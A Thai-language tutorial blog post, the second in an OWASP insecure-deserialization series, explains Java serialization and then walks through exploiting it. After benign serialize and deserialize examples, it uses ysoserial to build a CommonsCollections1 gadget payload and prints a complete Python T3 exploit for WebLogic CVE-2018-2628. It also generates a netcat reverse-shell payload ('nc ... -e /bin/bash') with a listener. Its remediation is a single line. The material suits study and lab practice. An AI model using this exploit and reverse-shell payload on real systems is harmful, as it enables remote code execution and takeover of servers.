อธิบาย Java Serialization (OWASP A8:2017-Insecure Deserialization – Part 2)
หลังจากอธิบาย PHP Serialization ไปแล้ว ก็มาต่อกับ Java Serialization กันครับ โดยในโพสต์นี้ผมจะไม่ได้โพสต์เริ่มใหม่นะครับ เพราะได้อธิบายหลักการของ Serialization และ Unserialization ไปหมดแล้ว แต่จะมาอธิบายความแตกต่างระหว่าง PHP กับ Java ว่ามีลักษณะในการทำ Serialization และ Unserialization แตกต่างกันยังไงแค่นั้นครับ
ตัวอย่าง Code ของการทำ Serialization ใน Java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
import java.io.*; public class Serial { public static void main(String[] args) { String name = "Nytro"; String filename = "file.bin"; try { FileOutputStream file = new FileOutputStream(filename); ObjectOutputStream out = new ObjectOutputStream(file); // Serialization of the "name" (String) object // Will be written to "file.bin" out.writeObject(name); out.close(); file.close(); } catch(Exception e) { System.out.println("Exception: " + e.toString()); } } } |
1 2 3 |
javac Serial.java java Serial cat file.bin |

ถ้าดูรายละเอียดของ file.bin จะพบรายละเอียดดังนี้
- เริ่มด้วย “AC ED” – เป็น “magic number” ที่บ่งบอกถึง serialized data
- Serialization protocol version “00 05”
- มีแค่ String โดยระบุด้วย “74”
- ความยาวของ string “00 05”
- และสุดท้ายตามด้วย string
Code สำหรับ Deserialize
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
import java.io.*; public class Deserial { public static void main(String[] args) { String name; String filename = "file.bin"; try { FileInputStream file = new FileInputStream(filename); ObjectInputStream out = new ObjectInputStream(file); // Serialization of the "name" (String) object // Will be written to "file.bin" name = (String)out.readObject(); System.out.println(name); out.close(); file.close(); } catch(Exception e) { System.out.println("Exception: " + e.toString()); } } } |
รันโดยใช้คำสั่ง
1 2 |
javac Deserial.java java Deserial |
Vulnerable Class
ทีนี้มาดูตัวอย่าง code ที่มีช่องโหว่กันบ้าง
LogFile.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
import java.io.*; class LogFile implements Serializable { public String filename; public String filecontent; // Function called during deserialization private void readObject(ObjectInputStream in) { System.out.println("readObject from LogFile"); try { // Unserialize data in.defaultReadObject(); System.out.println("File name: " + filename + ", file content: \n" + filecontent); // Do something useful with the data // Restore LogFile, write file content to file name FileWriter file = new FileWriter(filename); BufferedWriter out = new BufferedWriter(file); System.out.println("Restoring log data to file..."); out.write(filecontent); out.close(); file.close(); } catch (Exception e) { System.out.println("Exception: " + e.toString()); } } } |
จาก code จะเห็นว่าเราสร้าง Class Logfile ขึ้นมาโดยมี function readObject ที่ถูกใช้เมื่อกระทำการ deserialize object แล้วจะทำการ write ข้อมูลจากตัวแปล filecontent ไปยังไฟล์ที่อ่านมา
ทีนี้เรามาลองดูว่า readObject จะทำงานจริงมั้ย โดยทำการสร้าง code เป็น
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 |
import java.io.*; class Utils { // Function to serialize an object and write it to a file public static void SerializeToFile(Object obj, String filename) { try { FileOutputStream file = new FileOutputStream(filename); ObjectOutputStream out = new ObjectOutputStream(file); // Serialization of the object to file System.out.println("Serializing " + obj.toString() + " to " + filename); out.writeObject(obj); out.close(); file.close(); } catch(Exception e) { System.out.println("Exception: " + e.toString()); } } // Function to deserialize an object from a file public static Object DeserializeFromFile(String filename) { Object obj = new Object(); try { FileInputStream file = new FileInputStream(filename); ObjectInputStream in = new ObjectInputStream(file); // Deserialization of the object to file System.out.println("Deserializing from " + filename); obj = in.readObject(); in.close(); file.close(); } catch(Exception e) { System.out.println("Exception: " + e.toString()); } return obj; } } |
เพื่อให้ง่ายต่อการทำ serialization (SerializeToFile) และ unserialization (DeserializeFromFile) จากนั้นให้เราเขียน code เรียกใช้ function เหล่านี้เป็น
1 2 3 4 5 6 7 8 9 |
public class test { public static void main(String[] args) { LogFile ob = new LogFile(); ob.filename = "test.log"; ob.filecontent = "Test content serialization"; String file = "serialization.log"; Utils.SerializeToFile(ob, file); } } |
จะเห็นว่าสิ่งที่เกิดขึ้นคือ
1. มีการสร้าง object จาก LogFile class
2. serialize object แล้วเก็บไว้ใน serialization log
ทีนี้ถ้าเราเขียนโค้ดเพื่อทำ deserialize
1 2 3 4 5 6 7 |
public class test02 { public static void main(String[] args) { LogFile ob = new LogFile(); String file = "serialization.log"; ob = (LogFile)Utils.DeserializeFromFile(file); } } |
เมื่อเป็นแบบนั้นก็จะมีการเรียกใช้ readObject() ที่เราทำไว้ใน LogFile.java test.log ของเราจะถูกสร้างขึ้นตอนกำลังจะ destroy object นั่นเอง
จะเห็นว่า readObject() ของเรานั้นไม่อันตรายอะไร เพราะมันแค่เอาค่าของ deserialize จาก serialization.log ไปใส่ไว้ในไฟล์ดังเดิมที่กำหนดไว้ใน file เดิม
ทีนี้เรามาลองใช้ lib ที่มีช่องโหว่กัน โดย Apache Commons Collections library มีช่องโหว่นั่นคือ Apache Commons Collections version 3.2.1 โดยเราทำการ download มาก่อน
1 2 3 |
wget "http://archive.apache.org/dist/commons/collections/binaries/commons-collections-3.2.1-bin.tar.gz" tar xzvf commons-collections-3.2.1-bin.tar.gz jar xf commons-collections-3.2.1.jar |
จากนั้น download เครื่องมือสำหรับการทำ serialization ในการโจมตี นั่นคือ Ysoserial
1 |
wget "https://jitpack.io/com/github/frohoff/ysoserial/master/ysoserial-master.jar" |
สร้างไฟล์ที่มีช่องโหว่เป็น
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
import java.io.ObjectInputStream; import java.io.ByteArrayInputStream; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.io.InputStream; import org.apache.commons.collections.*; public class SerializeTest{ public static void main(String args[]) throws Exception{ Bag bag = new HashBag(); Path path = Paths.get(args[0]); byte[] data = Files.readAllBytes(path); InputStream d = new ByteArrayInputStream(data); ObjectInputStream ois = new ObjectInputStream(d); ois.readObject(); } } |
จากนั้น compile (หมายเหตุในที่นี้ใช้ Java version 1.7.0 นะครับ ผมลองใช้ version 1.8.0 แล้วไม่เวิร์คครับ)
1 |
javac SerializeTest.java |
สร้าง serialize object ที่ฝังคำสั่ง ‘touch /tmp/pwned’ ไว้
1 |
java -jar ysoserial-master.jar CommonsCollections1 'touch /tmp/pwned' > test_ysoserial.bin |
จากนั้นรัน SerializeTest โดยการกำหนด lib คือ Common-Collections-3.2.1 และ input เป็น test_ysoserial.bin ซึ่งเราทำ Serialize object ที่ฝังคำสั่งไว้
1 |
java -cp .:commons-collections-3.2.1 SerializeTest test_ysoserial.bin |
จะเห็นว่าพบไฟล์ pwned อยู่ใน /tmp
ทดสอบเล่นกับ WebLogic
ทีนี้เรามาเล่นกับ Web Application ที่มีการใช้งาน Apache Commons Collections แล้วมีช่องโหว่อย่าง WebLogic กัน โดยเริ่มต้นด้วย setup vulnerability server ก่อน
1 2 |
docker pull zhiqzhao/ubuntu_weblogic1036_domain docker run -d -p 7001:7001 zhiqzhao/ubuntu_weblogic1036_domain |
จากนั้น download exploit.py จาก https://hk.saowen.com/a/35b42d3000ba1347f8a25102625f9f15e095db016de375c5af587430a04f50d2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 |
#!env python #coding=utf-8 # FileName: weblogic_poc.py # -*- coding: utf-8 -*- import socket import time import re import sys import json socket.setdefaulttimeout(5) VUL=['CVE-2018-2628'] PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078'] VER_SIG=['\\$Proxy[0-9]+'] def t3handshake(sock,server_addr): sock.connect(server_addr) sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex')) time.sleep(1) sock.recv(1024) #print 'handshake successful' def buildT3RequestObject(sock,port): data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371' data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport)) data3 = '1a7727000d3234322e323134' data4 = '2e312e32353461863d1d0000000078' for d in [data1,data2,data3,data4]: sock.send(d.decode('hex')) time.sleep(2) #print 'send request payload successful,recv length:%d'%(len(sock.recv(2048))) def sendEvilObjData(sock,data): payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000' payload+=data payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff' payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload) sock.send(payload.decode('hex')) time.sleep(2) sock.send(payload.decode('hex')) res = '' count = 1024 try: while True: res += sock.recv(4096) time.sleep(0.1) count -= 1 if count <= 0: break except Exception as e: pass return res def checkVul(res,server_addr,index): p=re.findall(VER_SIG[index], res, re.S) if len(p)>0: #print '%s:%d is vul %s'%(server_addr[0],server_addr[1],VUL[index]) return True return False def do_run(dip,dport,index): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ##打了補丁之後,會阻塞,所以設置超時時間,默認15s,根據情況自己調整 sock.settimeout(25) server_addr = (dip, dport) t3handshake(sock, server_addr) buildT3RequestObject(sock, dport) rs=sendEvilObjData(sock, PAYLOAD[index]) #print 'rs',rs return checkVul(rs, server_addr, index) def run(url, port): try: res = do_run(url, port, 0) if res: out = { '結果': '存在WebLogic CVE-2018-2628 反串行化RCE漏洞', 'url': '%s:%s' % (url, port), } return json.dumps(out, encoding='utf8', ensure_ascii = False) return False except Exception ,e: print "[!] ", e return False if __name__=="__main__": dip = sys.argv[1] dport = 7001 print run(dip,dport) |
ทำการสร้าง serialization สำหรับการ exploit
1 |
java -jar ../ysoserial-master.jar CommonsCollections1 'nc -nv 172.0.0.2 11111 -e /bin/bash' | xxd -ps -c 10000 |
นำ payload ที่ได้ไปใส่ใน PAYLOAD ใน exploit.py
แล้วที่เครื่อง 172.0.0.2 รัน netcat รอรับ connection ไว้โดยใช้คำสั่ง
1 |
nc -lvp 11111 |
จากนั้นรันคำสั่ง
1 |
python exploit.py <TARGET> |
กลับไปดูที่ฝั่ง 172.0.0.2 ก็จะพบว่าได้ shell เรียบร้อยครับ
วิธีการแก้ไข
อย่างในตัวอย่างนี้สิ่งที่แก้ไขได้คือการ update Lib ให้มันเป็น up to date เพื่อปิดช่องโหว่ครับ
Source::
- nytrosecurity.com
- Deserialization vulnerability Document
- The Grey Corner
- ZonkSec
- Cheat Sheet
- Saowen
- Jexboss
- WEAPONIZE ORACLE WEBLOGIC SERVER POC (CVE-2018-2628)
- Foxglove Security